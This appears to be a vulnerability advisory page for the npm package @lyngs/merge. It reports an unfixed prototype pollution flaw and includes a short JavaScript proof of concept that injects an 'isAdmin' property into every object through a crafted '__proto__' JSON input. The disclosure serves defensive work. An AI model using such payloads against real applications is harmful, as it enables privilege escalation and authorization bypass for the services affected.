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@lyngs/merge/.../merge@1.0.3 vulnerabilities

  • latest version

    1.0.9

  • first published

    4 years ago

  • latest version published

    4 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the @lyngs/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    @lyngs/merge is an Use merge() to merge every value. supporting types: <Object/Array/Set/Map>.

    Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

    PoC

    const {merge} = require('@lyngs/merge');
console.log("prototype before merge", ({}).isAdmin);
merge({dummy: 1}, JSON.parse(`{"__proto__":{"isAdmin":true}}`));
console.log("prototype after merge", ({}).isAdmin);

    How to fix Prototype Pollution?

    There is no fixed version for @lyngs/merge.

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